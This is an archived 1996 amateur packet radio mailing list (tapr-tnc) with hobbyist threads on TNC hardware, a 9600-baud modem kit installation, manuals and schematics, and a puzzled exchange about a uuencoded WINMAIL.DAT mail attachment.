Date: Wed, 12 Jun 1996 20:00:25 GMT
To: netsig@tapr.org, bbssig@tapr.org, tapr-tnc@tapr.org
Message-ID: <31bf1fa7.5815275@mail.imaginet.fr>
Rendered body type: text/plain

Hi,

I have had some problems whith the TAPR CD-ROM:
Some movies do not run on my system.

The two movies from the "packet intro", and the one named "slapr" seem
to have some problems. I get a "can't open xxx.mov" when i launch
them.

Other movies (APRS, ARRL...) are fine.

I'm using Quicktime for windows v2.01.

Has anyone else had the same problem ?

```
 _____ _____ _____  _____  _____ _____ _____ _
| ___| ___|  _ \|  _ \|  _  |  __|  __| |  Email:   ferracci@imaginet.fr
| __|| __|| |_)/| |_)/|  _  | |__| |__| |  http://www.imaginet.fr/~ferracci
|_|  |____|_|\_\|_|\_\|_| |_|____|____|_|  AX25:    F1JKJ@F5KAT.FMLR.FRA.EU
Laurent              Montpellier [FRANCE]
```

14. [TAPR-TNC:259] Problems with the TAPR CD ? -Reply

From: Paul Cereste <cereste@myapc.com>
Date: Wed, 12 Jun 1996 17:38:08 -0500
To: tapr-tnc@tapr.org
Message-ID: <s1bf00b9.043@myapc.com>
Rendered body type: text/plain

I will be away from 11/9/94 until 11/22/94. Messages for me should be sent to John
Blauvelt if time is of concern. If it can wait, then get in touch with me on or after 11/22.

15. [TAPR-TNC:260] Problems with the TAPR CD ? -Reply -Reply

From: Paul Cereste <cereste@myapc.com>
Date: Wed, 12 Jun 1996 18:39:34 -0500
To: tapr-tnc@tapr.org
Message-ID: <s1bf0f30.044@myapc.com>
Rendered body type: text/plain

I will be away from 11/9/94 until 11/22/94. Messages for me should be sent to John
Blauvelt if time is of concern. If it can wait, then get in touch with me on or after 11/22.

16. [TAPR-TNC:261] Problems with the TAPR CD ? -Reply -Reply -Reply

From: Paul Cereste <cereste@myapc.com>
Date: Wed, 12 Jun 1996 19:41:20 -0500
To: tapr-tnc@tapr.org
Message-ID: <s1bf1d93.047@myapc.com>
Rendered body type: text/plain

I will be away from 11/9/94 until 11/22/94. Messages for me should be sent to John Blauvelt if time is of concern. If it can wait, then get in touch with me on or after 11/22.

17. When going on .vacation

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 12 Jun 1996 20:58:47 -0400
To: tapr-tnc@tapr.org
Message-ID: <199606130058.UAA01736@penny.n2wx.ampr.org>
Rendered body type: text/plain

Please, don't be like Paul Cereste. If you have to run a .vacation script use something modern that looks at the Precedence: header and doesn't respond to mailing lists. On unices, procmail works great.

(Cereste is set to POSTPONE until he resets it...hopefully not losing anything in the process)

18. New 9600 Kit w/older PK232MBX

From: "Kevin W. Herron" <kwherron@inow.com>
Date: Thu, 13 Jun 1996 00:31:16 -0700
To: tapr-tnc@tapr.org
Message-ID: <31BFC3C4.7DDD@inow.com>
Rendered body type: text/plain

I recently completed my 9600 modem kit and I'm having a few problems completing the installation. I've been tracing signals all evening and I'm afraid my transistor theory is just a little rusty.

This is what I have: A PK232MBX with the Pakmail daughtercard, Firmware dated 7/90, functional modem disconnect and DCD State Machine.

After assembling and installing the modem, the symptoms are:

1. With the 9600 modem disabled and set up for 1200 operation, I do not get the DCD lights when a signal is present.

2. With the 9600 modem enabled, neither the PTT nor the DCD light ever energizes.

3. In none of these situations can I get a satisfactory loopback test.

4. If I disconnect the 9600 modem from the 20 pin header on the diconnect board and put the jumpers back on, I can still complete a satisfactory loopback test at 1200.

It's been a long day and I hope that's clear the way it's written. If you have an idea which I may not have looked into, please mention it to me. Thank you for your help in advance.

73 de KB2NSX, Kevin

--
The Herron's - Connie, Katy, Greg, Chris, and Kevin
kwherron@inow.com

Kevin W. Herron, KB2NSX
Castro Valley, CA
kb2nsx@amsat.org

19. New 9600 Kit w/older PK232MBX

From: "Kevin W. Herron" <kwherron@inow.com>
Date: Thu, 13 Jun 1996 19:57:38 -0700
To: tapr-tnc@tapr.org
Message-ID: <31C0D522.1194@inow.com>
Rendered body type: text/plain

To continue with my problems:

I have found that the PK232MBX IS telling the modem to transmit, ie. the voltage at pins 5 and 6 on the disconnect header does drop as it should.

However, the voltage at pins 5 and 6 remains at 5 volts on the 9600 modem and therefore never transmits.

I haven't found out why yet, but I know why its not working.

73 de KB2NSX, Kevin

--
The Herron's - Connie, Katy, Kevin W. Herron, KB2NSX
Greg, Chris, and Kevin Castro Valley, CA
kwherron@inow.com kb2nsx@amsat.org

20. Re: New 9600 Kit w/older PK232MBX

From: "Kevin W. Herron" <kwherron@inow.com>
Date: Thu, 13 Jun 1996 20:40:41 -0700
To: tapr-tnc@tapr.org
Message-ID: <31C0DF39.3EAF@inow.com>
Rendered body type: text/plain

Kevin W. Herron wrote:

> I have found that the PK232MBX IS telling the modem to transmit, ie.
> the voltage at pins 5 and 6 on the disconnect header does drop as it
> should. However, the voltage at pins 5 and 6 remains at 5 volts on the
> 9600 modem and therefore never transmits.

I found the cause for no PTT. Pin 5 of P2 should be a direct short to
U14 pin 8 (RTS From TNC) and it in fact read as open. Once a jumper is
installed between pin 5 on P2 and U14 pin 8, the PTT circuit works great!

I'm still not getting satisfactory loopback tests though. Still a
problem with the DCD.

73 de KB2NSX, Kevin

--
The Herron's - Connie, Katy, Kevin W. Herron, KB2NSX
Greg, Chris, and Kevin Castro Valley, CA
kwherron@inow.com kb2nsx@amsat.org

21. Looking for TNC2 schematic diagram...

From: hl1mnu@hl1mnu.ampr.org (Lee, Kwangweon HL1MNU/KE6WQK)
Date: Tue, 18 Jun 1996 08:49:26 -0700 (PDT)
To: tapr-tnc@tapr.org
Message-ID: <199606181549.IAA05391@sacchrin.loc201.tandem.com>
Rendered body type: text/plain

Hi there!
I'm looking for TNC2 schematic diagram.
Does anybody know where I can get it?

73s,

Lee, Kwangweon (HL1MNU / KE6WQK)

Address: 10501 N. Tantau Av. Loc.201-01 Cupertino, CA 95014-0728 USA
Phone: +1-408-285-4537, Fax: +1-408-285-2380
E-mail: LEE_KW@Tandem.COM | leekw@loc201.tandem.com
  hl1mnu@kci.co.kr | hl1mnu@hl1mnu.ampr.org

22. PK232MBX w/Pakmail Summary

From: "Kevin W. Herron" <kwherron@inow.com>
Date: Tue, 18 Jun 1996 15:52:42 -0700
To: tapr-tnc@tapr.org
Message-ID: <31C7333A.4FC2@inow.com>
Rendered body type: text/plain

This is a summary of the problems I've had assembling and attempting to
operate the latest revision of the TAPR 9600 modem. I would appreciate
if someone else who has recently purchased this kit could do an
additional check and make sure I'm not totally out to lunch.

I constructed the 9600 modem, latest rev, in accordance with the manual
and during the construction I performed the mods for the P2 connector
located on page 28 of 37 and the modem error mods located on pages 4 and
8 of 39 (page numbers different due to the update).

As far as I can tell, the construction is correct. I am installing the
modem in a PK232MBX with the Pakmail daughtercard, firmware date 7/90,
TAPR modem disconnect header, and DCD upgrade installed.

Once assembled I found the following problems:

1. No 12VDC at pin 26 of P3. Solved by routing jumper from R6 (10 ohm) to pin 26 of P3.

2. No connection between R28 (R28 in prints, R27 on PCB) and pin 15 on U20 as in prints on page 2 of 5. Solved by routing jumper from U20 pin 15 to resistor.

3. No connection between U14 pin 5 and RP1 pin 2 as in prints on page 5 of 5. Solved by routing jumper from U14 pin 5 to RP1 pin 2.

4. PTT would not operate due to no RTS from TNC at pin 8 of U14. Solved by routing jumper from pin 5 of P3 to pin 8 of U14.

5. No connection between U14 pin 17 and P2 pin 13 as in prints on page 5 of 5. Solved by routing jumper between U14 pin 17 and P2 pin 13.

6. No connection between U14 pin 9 and U12 pin 9 (RX DCD) as in the prints on page 1 of 1 (also pages 3 and 5 of 5). I solved this by connecting the two via a jumper.

7. The 9600 modem manual states that a clock signal from the TNC is brought in on P3 pin 12. Yet on the TAPR modem disconnect I installed in my PK232, pin 12 is not connected to anything and thus no clock signal is supplied for the 9600 modem. I solved this by swapping pins 11 and 12 in the ribbon cable between the disconnect header and the 9600 modem.

8. Per the prints on page 5 of 5, pin 18 of U14 should be connected to a post of JP2. On the PCB it is not. A jumper must be run in order to use the onboard clock option.

I still cannot complete a satisfactory loopback test on the 9600 modem. The DCD LED never comes on and no information decodes during the test. At this point I believe that the modem is not sending any data. The signal appears to be getting lost in U11A. U11 pin 1 has a signal present during transmit only. However, on pins 2 and 3, I get a continous random fluctuating signal. My toolbox doesn't include an oscilloscope so I haven't been able to check the waveforms.

That's what I've got so far. I hope this is more helpful than painful. Feel free to provide any assistance that you can give or calibrate me if I'm totally messed up.

73 de KB2NSX, Kevin

--
The Herron's - Connie, Katy, Kevin W. Herron, KB2NSX
Greg, Chris, and Kevin Castro Valley, CA
kwherron@inow.com kb2nsx@amsat.org

23. Looking for TNC2 schematic diagram...

From: hl1mnu@hl1mnu.ampr.org (HL1MNU)
Date: Wed, 19 Jun 1996 08:35:35 -0700 (PDT)
To: tapr-tnc@tapr.org
Message-ID: <199606191539.IAA06164@sacchrin.loc201.tandem.com>
Rendered body type: text/plain

Hi there,
I'm looking for TNC2 schematic diagram.
Does anybody know where to get it?
Thanks in advance,
--
Lee, Kwangweon (HL1MNU / KE6WQK)

Address: 10501 N. Tantau Av. Loc.201-01 Cupertino, CA 95014-0728 USA
Phone: +1-408-285-4537, Fax: +1-408-285-2380
E-mail: LEE_KW@Tandem.COM | leekw@loc201.tandem.com (most preferred)
  hl1mnu@kci.co.kr | hl1mnu@hl1mnu.ampr.org

24. Looking for TNC2 schematic diagram...

From: hl1mnu@hl1mnu.ampr.org (Lee, Kwangweon HL1MNU/KE6WQK)
Date: Wed, 19 Jun 1996 08:35:35 -0700 (PDT)
To: tapr-tnc@tapr.org
Message-ID: <199606191556.IAA06219@sacchrin.loc201.tandem.com>
Rendered body type: text/plain

Hi there,
I'm looking for TNC2 schematic diagram.
Does anybody know where to get it?

Thanks in advance,
--
Lee, Kwangweon (HL1MNU / KE6WQK)

Address: 10501 N. Tantau Av. Loc.201-01 Cupertino, CA 95014-0728 USA
Phone: +1-408-285-4537, Fax: +1-408-285-2380
E-mail: LEE_KW@Tandem.COM | leekw@loc201.tandem.com (most preferred)
         hl1mnu@kci.co.kr | hl1mnu@hl1mnu.ampr.org

July 1996

Original source file: tapr-tnc.9607
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9607

1. tnc manuals

From: "NIKOS J. FARSARIS" <njf@lissos.tsinet.gr>
Date: Wed, 31 Jul 1996 12:38:09 -0200
To: tapr-tnc@tapr.org
Message-ID: <31FF6FD1.5EA4@lissos.tsinet.gr>
Rendered body type: text/plain

where can I find some tnc manuals ?
--

```
                     NIKOS  J.  FARSARIS
III   TTTTT   K   K  ------------------------------------  TTTTT  SSSSS   III
 I      T     K K    Dipl. Electical Engineering  (A.U.Th.)    T    S       I
 I      T     K      Graduate Student              (T.U.C.)    T    SSSSS   I
 I      T     K K    Network Administrator         (T.S.I.)    T        S   I
III     T     K   K  Radar/Radiolink Systems Research Group    T    SSSSS   III

                Kazantzakis wrote: "REACH WHERE YOU CAN NOT REACH"
```

2. Re: [TAPR-TNC:271] tnc manuals

From: Bob Nielsen <nielsen@primenet.com>
Date: Wed, 31 Jul 1996 10:58:21 -0700 (MST)
To: "NIKOS J. FARSARIS" <njf@lissos.tsinet.gr>
Cc: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.94.960731105642.2694A-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

On Wed, 31 Jul 1996, NIKOS J. FARSARIS wrote:

> where can I find some tnc manuals ?

On ftp.tapr.org in /tapr/software_lib/tnc/tncdocs.exe (self-extracting
file.)

Bob

Bob Nielsen
Tucson, AZ

Internet: nielsen@primenet.com
AMPRnet: w6swe@w6swe.ampr.org
AX.25:   w6swe@wb7tls.az.usa.noam
http://www.primenet.com/~nielsen

August 1996

Original source file: tapr-tnc.9608
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9608

1. Baycom

From: INFOPLAN.IPLAN10.LOUISK@cape_smtp_gw.iplan.co.za
Date: Fri, 16 Aug 1996 10:39:06 +0200
To: tapr-tnc@tapr.org
Message-ID: <s2144d9b.044@cape_smtp_gw.iplan.co.za>
Rendered body type: text/plain

Is the source code for the Baycom programs available and where if so ?

We are working on a 9600 Baycom look alike and it would save us a lot
of trouble if we can get hold of it.

73 Louis de ZR6ABC.

---

2. RE: [TAPR-TNC:273] Baycom

From: Gwyn Reedy <gwyn@paccomm.com>
Date: Fri, 16 Aug 1996 06:49:27 -0400
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Cc: "'Johannes Kneip'" <kneip@mst.uni/hannover.de>
Message-ID: <01BB8B3F.1344D820@gwyn.paccomm.com>
Rendered body type: text/plain

On Friday, August 16, 1996 12:01 AM,
INFOPLAN.IPLAN10.LOUISK@cape_smtp_gw.iplan.co.za wrote:
>Is the source code for the Baycom programs available and where if so ?
>
>We are working on a 9600 Baycom look alike and it would save us a lot of
trouble if we can get hold of it.
>
>73 Louis de ZR6ABC.
>
>
>

If I understand your message correctly, you have 'borrowed' the BayCom
modem design and now wish to do the same with the source code. Can you
provide an explanation of why you think the BayCom's design is yours to
borrow?

I am forwarding a copy of this message (which quotes your message and
address) to Johannes Kneip who is one of the principle members of the
BAYCOM company. Perhaps he will wish to support you. At any rate, he will
be informed of your project.

Gwyn Reedy, W1BEL
PacComm Packet Radio Systems
http://www.paccomm.com


```
begin 600 WINMAIL.DAT
M>)\^(AX*`0:0" `$`````!``$``0>0!@`(````Y 0```````#H``$-@ 0`
M`@````(``@`!!) &`%P"```"````# ````,``# $`````"P`/#@$`````"`?\/
M`0```'(`````````M3O"P"QW$!JAO @`*RI6PA4```!O."'RI*C/$8#1`$ %
M*;S7Y(@```````"!*Q^DOJ,0&9UN`-T!#U0"`````$IO:&%N;F5S($MN96EP
M`%--5% `:VYE:7! ;7-T+G5N:2]H86YN;W9E<BYD90```!X``C !````!0``
M`%--5% `````'@`#, $````:````:VYE:7! ;7-T+G5N:2]H86YN;W9E<BYD
M90````,`%0P"`````P#^#P8````>``$P`0```!$````G2F]H86YN97,@2VYE
M:7 G``````(!"S !`````'P```%--5% Z2TY%25! 35-4+E5.22](04Y.3U9%
M4BY$10```P``.0`````+`$ Z``````(!]@\!````! ````````0,`````P``
M, 4````+``\.``````(!_P\!````00````````"!*Q^DOJ,0&9UN`-T!#U0"
M`````'1A<'(M=&YC0'1A<'(N;W)G`%--5% `=&%P<BUT;F- =&%P<BYO<F<`
M`````'@`", $````%````4TU44 `````>``,P`0```!(```!T87!R+71N8T!T
M87!R+F]R9P````,`%0P!`````P#^#P8````>``$P`0```!0````G=&%P<BUT
M;F- =&%P<BYO<F<G``(!"S !````%P```%--5% Z5$%04BU43D- 5$%04BY/
M4D<```,``#D`````"P! .@$````"`?8/`0````0````````%[W(!"( ``!@`
M``!)4$TN36EC<F]S;V9T($UA:6PN3F]T90`Q" $$@ $`&@```%)%.B!;5$%0
M4BU43D,Z,C<S72!"87EC;VT`0P<!!8 #``X```#,!P@`$ `&`#$`&P`%`$(!
M`2" `P`.````S <(`! `!@`J``X`!0`N`0$)@ $`(0```#!$.31!0T4U-S9&
M-D-&,3$X,$0S,# T,# U,CE"0T0W`"8'`0.0!@`H!0``$@````L`(P``````
M`P`F```````+`"D```````,`-@``````0 `Y`,!,5YA@B[L!'@!P``$`````:
M````4D4Z(%M405!2+51.0SHR-S-=($)A>6-O;0````(!<0`!````%@````&[
MBV"8+.6LE _V=A'/@-,`0 4IO-<``!X`'@P!````!0```%--5% `````'@`?
M# $````1````9W=Y;D!P86-C;VUM+F-O;0`````#``80ZQ=OF@,`!Q"7`@``
```

```
M'@`($ $```!E````3TY&4DE$05DL055'55-4,38L,3DY-C$R.C Q04TL24Y&
M3U!,04Y)4$Q!3C$P3$]525-+0$-!4$5335101U=)4$Q!3D-/6D%74D]413I)
M4U1(15-/55)#14-/1$5&3U)42$5"00`````"`0D0`0```*H#``"F`P``< 8`
M`$Q:1G6L4#F5_P`*`0\"%0*H!>L"@P!0`O()`@!C: K <V5T,C<&``;#`H,R
M`\4"``!R0G$1XG-T96T"@S,W`N0'$P*#-!+,#]]F-5L2S!3(-A+'$74P%+9]
M%PJ ",\)V3L;?S$R..$<GV4R-34"@ J!#;'!"V!N9S$P,Q10"PI+%W(,`6,2
MH"!/`Z!&(0409&%Y+!2P=6<B=1/ (#$V(D Q.80Y-B+ ,CHP,12P`DTB0$E.
M1D]03#!!3BY))$(?\"Y,`$]525-+0&-A`'!E7W-M='!?6&=W+@4@'[$N!: N
ML'IA('<#8!/0.@J$?CX+1A5B(4,`4!-0)S%C!05 200@=&AE('/="&%C*> %
MH VP( (0!<#-*<)"(B %H&T@*1$)P.1A;00@878+< M@`F"[*> `<&0G`"G0
M&X @!I#9*?$@/PJ$((\R)]\HZ&<M_R\/,!\@5RS!+5%W906P:PN 9R "("PP
M()TC,# :$"M%&Q!O:RPP:&QI:RS$:05 --!U^FPM`',L0"G@(I U<1L0U05
M;RV0= -@=2RB+8&6=RI1`Y%G$< @: ;P]RT`.,$W4"XQ+S(_,T\[#X,\'STO
M(#<S($P(8 4$`" JD5I2-D%"_D,Z_S\_0$\^+T.O1+]%S[]&WT?O2/<@7R%B
M"H5)+9"^23@@+/ $D!/ +.)Y"&'>( >!-^ Z$"IA<AN *6#>;"(Q3W$Z0#?R
M)P;@4&#R;SF@9"<J]@A0*Y $8K<KD VP`)!G-6$L\6Y1T-LG``0`:"FP+<!D
M+< IPQ\L`#2Q-U!482G<+B!#-P.14/(I$78B`"S"(&7B>"9B871I-5$XP2T@
MOGE0XRG "X VD%(X)T'B_U-C0=%/<BFA+<!1E"WE3@;W+# KD"K!=PL1-1(F
M\ 6@OG!9$#C"68 $($_&*"T@XFD1<"!Q=2<Q6R1/M[$LXF%D9!N !! I5'*D
M2F\1@&YN!Y%+8H#_!2 M$2W 0=$"("G@7H,IX/L34 N 8R91*> '@ ;03O&!
M8\9"05E#3TTJ8=)M"K!N>5:P4 20$8!N< 0@*=$#\&P#(%0V<[AU<' ;(4]B
M5K!!!4#]9H$@*_ 3T") 9U9E$"UPOFXJP0> .H-/<RD1:BE1'T*5;#\+*!D"
M`= @1W<J>0.@4@G@9"(Q5S'H0D5,"J-0`-!2H2N0]W 1-N %0%)A<%B $Y43
M( 4*LF@"0' Z+R]W57*0+@JP8RMQ;2:A;05<9'US\ ```P`0$ `````#`!$0
M`````$ `!S! \TR67XN[`4 `"#! \TR67XN[`1X`/0`!````!0```%)%.B `
%````F((`
`
end
```

3. Re: [TAPR-TNC:274] RE: Baycom

From: N5EJS <n5ejs@linknet.net>
Date: Fri, 16 Aug 1996 14:07:37 -0500
To: tapr-tnc@tapr.org
Message-ID: <9608161413.AA10756@popalex1.linknet.net>
Rendered body type: text/plain

At 05:51 AM 8/16/96 -0500, you wrote:
>
>
>Gwyn Reedy, W1BEL
>PacComm Packet Radio Systems
>http://www.paccomm.com

Gwyn, what is with the WINMAIL.DAT file??
de N5EJS
Russ

>
>begin 600 WINMAIL.DAT
>M>)\^(AX*`0:0" `$`````````!``$``0>0!@`(````Y 0```````#H``$-@ 0`
>M`@````(``@`!!) &`%P"```"````# ````,``# $````"P`/#@$````"`?\/
>M`0```'(`````````M3O"P"QW$!JAO @`*RI6PA4```!O."'RI*C/$8#1`$ %
>M*;S7Y(@```````"!*Q^DOJ,0&9UN`-T!#U0"`````$IO:&%N;F5S($MN96EP
>M`%--5% `:VYE:7! ;7-T+G5N:2]H86YN;W9E<BYD90```!X``C !````!0``
>M`%--5% `````'@`#, $````:````:VYE:7! ;7-T+G5N:2]H86YN;W9E<BYD
>M90````,`%0P"`````P#^#P8````>``$P`0```!$````G2F]H86YN97,@2VYE
>M:7 G``````(!"S !````'P```%--5% Z2TY%25! 35-4+E5.22](04Y.3U9%
>M4BY$10```P``.0`````+`$ Z``````(!]@\!````! ````````0,`````P``
>M, 4````+``\.``````(!_P\!````00````````"!*Q^DOJ,0&9UN`-T!#U0"
>M`````'1A<'(M=&YC0'1A<'(N;W)G`%--5% `=&%P<BUT;F- =&%P<BYO<F<`
>M`````'@`", $````%````4TU44 `````>``,P`0```!(```!T87!R+71N8T!T
>M87!R+F]R9P````,`%0P!`````P#^#P8````>``$P`0```!0````G=&%P<BUT
>M;F- =&%P<BYO<F<G``(!"S !````%P```%--5% Z5$%04BU43D- 5$%04BY/
>M4D<```,``#D`````"P! .@$````"`?8/`0````0````````%[W(!"(''!@`
>M``!)4$TN36EC<F]S;V9T($UA:6PN3F]T90`Q" $$@ $`&@```%)%.B!;5$%0
>M4BU43D,Z,C<S72!"87EC;VT`0P<!!8 #``X```#,!P@`$ `&`#$`&P`%`$(!
>M`2" `P`,````S <(`! `!@`J``X`!0`N`0$)@ $`(0```#!$.31!0T4U-S9&
>M-D-&,3$X,$0S,# T,# U,CE"0T0W`"8``0.0!@`H!0``$@````L`(P``````
>M`P`F```````+`"D```````,`-@``````0 `Y`,!,5YA@B[L!'@!P``$````:
>M````4D4Z(%M405!2+51.0SHR-S-=($)A>6-O;0````(!<0`!````%@````&[
>MBV"8+.6LE _V=A'/@-,`0 4IO-<``!X`'@P!````!0```%--5% `````'@`?
>M# $````1````9W=Y;D!P86-C;VUM+F-O;0`````#``80ZQ=OF@,`!Q"7`@``
>M'@`($ $```!E````3TY&4DE$05DL055'55-4,38L,3DY-C$R.C Q04TL24Y&
>M3U!,04Y)4$Q!3C$P3$]525-+0$-!4$5335101U=)4$Q!3D-/6D%74D]413I)
>M4U1(15-/55)#14-/1$5&3U)42$5"00`````"`0D0`0```*H#``"F`P``< 8`
>M`$Q:1G6L4#F5_P`*`0\"%0*H!>L"@P!0`O()`@!C: K <V5T,C<&``;#`H,R
>M`\4"``!R0G$1XG-T96T"@S,W`N0'$P*#-!+,#]]F-5L2S!3(-A+'$74P%+9]
>M%PJ ",\)V3L;?S$R..$<GV4R-34"@ J!#;'!"V!N9S$P,Q10"PI+%W(,`6,2
>MH"!/`Z!&(0409&%Y+!2P=6<B=1/ (#$V(D Q.80Y-B+ ,CHP,12P`DTB0$E.

```
>M1D]03#!!3BY))$(?\"Y,`$]525-+0&-A``!E7W-M='!?6&=W+@4@'[$N!: N
>ML'IA('<#8!/0.@J$?CX+1A5B(4,`4!-0)S%C!05 200@=&AE('/="&%C*> %
>MH VP( (0!<#-*<)"(B %H&T@*1$)P.1A;00@878+< M@`F"[*> `<&0G`"G0
>M&X @!I#9*?$@/PJ$((\R)]\HZ&<M_R\/,!\@5RS!+5%W906P:PN 9R "("PP
>M()TC,# :$"M%&Q!O:RPP:&QI:RS$:05 --!U^FPM`',L0"G@(I U<1L0U05
>M;RV0= -@=2RB+8&6=RI1`Y%G$< @: ;P]RT`.,$W4"XQ+S(_,T\[#X,\'STO
>M(#<S($P(8 4$`" JD5I2-D%"_D,Z_S\_0$\^+T.O1+]%S[]&WT?O2/<@7R%B
>M"H5)+9"^23@@+/ $D!/ +.)Y"&'>( >!-^ Z$"IA<AN *6#>;"(Q3W$Z0#?R
>M)P;@4&#R;SF@9"<J]@A0*Y $8K<KD VP`)!G-6$L\6Y1T-LG``0`:"FP+<!D
>M+< IPQ\L`#2Q-U!482G<+B!#-P.14/(I$78B`"S"(&7B>"9B871I-5$XP2T@
>MOGE0XRG "X VD%(X)T'B_U-C0=%/<BFA+<!1E"WE3@;W+# KD"K!=PL1-1(F
>M\ 6@OG!9$#C"68 $($_&*"T@XFD1<"!Q=2<Q6R1/M[$LXF%D9!N !! I5'*D
>M2F\1@&YN!Y%+8H#_!2 M$2W 0=$"("G@7H,IX/L34 N 8R91*> '@ ;03O&!
>M8\9"05E#3TTJ8=)M"K!N>5:P4 20$8!N< 0@*=$#\&P#(%0V<[AU<' ;(4]B
>M5K!!!4#]9H$@*_ 3T") 9U9E$"UPOFXJP0> .H-/<RD1:BE1'T*5;#\+*!D"
>M`= @1W<J>0.@4@G@9"(Q5S'H0D5,"J-0`-!2H2N0]W 1-N %0%)A<%B $Y43
>M( 4*LF@"0' Z+R]W57*0+@JP8RMQ;2:A;05<9'US\ ```P`0$ `````#`!$0
>M`````$ `!S! \TR67XN[`4 `"#! \TR67XN[`1X`/0`!````!0```%)%.B `
>%````F((`
>`
>end
>
>
```

4. Re: Baycom

```
From: aa7ya@juno.com (Stacey T Hanrahan)
Date: Fri, 16 Aug 1996 12:38:16 EDT
To: tapr-tnc@tapr.org
Message-ID: <19960816.103503.5231.0.aa7ya@juno.com>
Rendered body type: text/plain
```

On Fri, 16 Aug 1996 09:13:51 -0500 (CDT) N5EJS <n5ejs@linknet.net>
writes:

```
>At 05:51 AM 8/16/96 -0500, you wrote:
>>
>>
>>Gwyn Reedy, W1BEL
>>PacComm Packet Radio Systems
>>http://www.paccomm.com
>
>Gwyn, what is with the WINMAIL.DAT file??
>de N5EJS
>Russ
>
>>
>>begin 600 WINMAIL.DAT
>>M>)\^(AX*`0:0" `$`````````!``$``0>0!@`(````Y 0```````#H``$-@ 0`
>>M`@````(``@`!!) &`%P"```"````# ````,``# $````"P`/#@$````"`?\/
>>M`0```'(`````````M3O"P"QW$!JAO @`*RI6PA4```!O."'RI*C/$8#1`$ %

[SNIP]

The file is UUENCODED, whereas, the 8th bit is stripped, much
like ZIPPING a file.

-----
73, Stacey, AA7YA  Box 83, Whitetail, MT  59276   +1-406-779-3641
Infobahn Off-ramp:  aa7ya@juno.com
RF:  aa7ya@aa7ya.#nemt.mt.usa.noam  -or-  aa7ya@aa7ya.ampr.org
[44.82.31.2]
```

5. Re: [TAPR-TNC:276] Re: Baycom

```
From: N5EJS <n5ejs@linknet.net>
Date: Fri, 16 Aug 1996 21:37:01 -0500
To: tapr-tnc@tapr.org
Message-ID: <9608162143.AA26707@popalex1.linknet.net>
Rendered body type: text/plain
```

At 11:42 AM 8/16/96 -0500, AA7YA wrote:

```
>
>>>begin 600 WINMAIL.DAT
>>>M>)\^(AX*`0:0" `$`````````!``$``0>0!@`(````Y 0```````#H``$-@ 0`
>>>M`@````(``@`!!) &`%P"```"````# ````,``# $````"P`/#@$````"`?\/
>
>[SNIP]
>
>The file is UUENCODED, whereas, the 8th bit is stripped, much
>like ZIPPING a file.
```

>
>-----
>73, Stacey, AA7YA

FB Stacey on the explanation and tnx too, but I handle UU files all the time
sharing documents with a few friends. We usually ZIP them down and then
UU code them and pass them around via E-mail. I was just wondering if this
was passed around by Gwyn to be used in something. I decoded it but is
there something I can plug it into? I'm guessing that WINMAIL is type of
E-mail program or is it for use in something else?
Or is his mail program doing this by itself and we should ignore it?

Just wondering,
de N5EJS
Russ in LA.

6. Re: [TAPR-TNC:273] Baycom

From: jcyun <jcyun@chip.kohap.co.kr>
Date: Mon, 19 Aug 1996 08:33:27 +0900
To: tapr-tnc@tapr.org
Message-ID: <3217A847.6396@chip.kohap.co.kr>
Rendered body type: text/plain

INFOPLAN.IPLAN10.LOUISK@cape_smtp_gw.iplan.co.za wrote:
>
> Is the source code for the Baycom programs available and where if so ?
>
> We are working on a 9600 Baycom look alike and it would save us a lot
> of trouble if we can get hold of it.
>
> 73 Louis de ZR6ABC.
[Attachment: ax25.asm; text/plain; 47,534 bytes]

September 1996

Original source file: tapr-tnc.9609
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9609

1. (no subject)

```
From: /PN=Scott.C.Werling/O=wallace/PRMD=iadps/ADMD=attmail/C=us/@dps.state.ia.us
Date: Thu, 19 Sep 1996 12:06:24 -0500
Message-ID: <199609191706.MAA20690@outpost.dps.state.ia.us>
Rendered body type: text/plain
```

```
>From /PN=Scott.C.Werling/O=wallace/PRMD=iadps/ADMD=attmail/C=us/ Thu Sep 19 12:03:55 CDT 1996 remote
from osiint.dps.state.ia.us
Date: 19 Sep 1996 11:59:19 -0500
X400-Trace: US*ATTMAIL*IADPS
        arrival 19 Sep 1996 11:59:19 -0500
        action Relayed
From: /PN=Scott.C.Werling/O=wallace/PRMD=iadps/ADMD=attmail/C=us/@osiint.dps.state.ia.us
To: "/RFC-822=tapr-tnc(a)tapr.org/OU=OSI-INTERNET/O=WALLACE/PRMD=IADPS/ADMD=ATTMAIL/C=US/"@osiint.dps.st
ate.ia.us
Subject: TNC questions
Importance: normal
Autoforwarded: FALSE
Message-Id:
<werl0919115720aa*/PN=Scott.C.Werling/O=wallace/PRMD=iadps/ADMD=attmail/C=us/@osiint.dps.state.ia.us>
P1-Message-Id: US*ATTMAIL*IADPS;IDPS3550 werl0919115720aa
UA-Content-Id: werl0919115720aa
P1-Content-Type: P2
Priority: normal
Received: from osiint.dps.state.ia.us by iadpshub.dps.state.ia.us; Thu, 19 Sep 1996 12:03 CDT
Content-Type: text
Content-Length: 378

Greetings, recently purchased a Heathkit HD 4040 tnc with the WA8DED upgrade
but am unable to get the graphics to print out on the monitor or printer.
I was using Baycom and had no problems with this prior.
Would like to view these graphics again, is there a way to do this?

Scott
N0XZY @ WA0RJT.#EIA.IA.USA.NOAM
scott@ia.net
werling@dps.state.ia.us
```

---

2. (no subject)

```
From: /PN=Scott.C.Werling/O=wallace/PRMD=iadps/ADMD=attmail/C=us/@dps.state.ia.us
Date: Mon, 23 Sep 1996 08:56:54 -0500
Message-ID: <199609231356.IAA04559@outpost.dps.state.ia.us>
Rendered body type: text/plain
```

```
>From /PN=Scott.C.Werling/O=wallace/PRMD=iadps/ADMD=attmail/C=us/ Mon Sep 23 08:54:50 CDT 1996 remote
from osiint.dps.state.ia.us
Date: 23 Sep 1996 08:54:38 -0500
X400-Trace: US*ATTMAIL*IADPS
        arrival 23 Sep 1996 08:54:38 -0500
        action Relayed
From: /PN=Scott.C.Werling/O=wallace/PRMD=iadps/ADMD=attmail/C=us/@osiint.dps.state.ia.us
